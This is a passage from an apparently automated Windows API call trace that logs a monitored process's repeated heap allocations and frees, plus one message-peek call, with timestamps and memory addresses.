(HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48948 [0113.227] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.228] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.228] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.229] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.229] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.230] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.230] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.231] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.232] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.232] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.233] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.233] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.234] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.234] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: 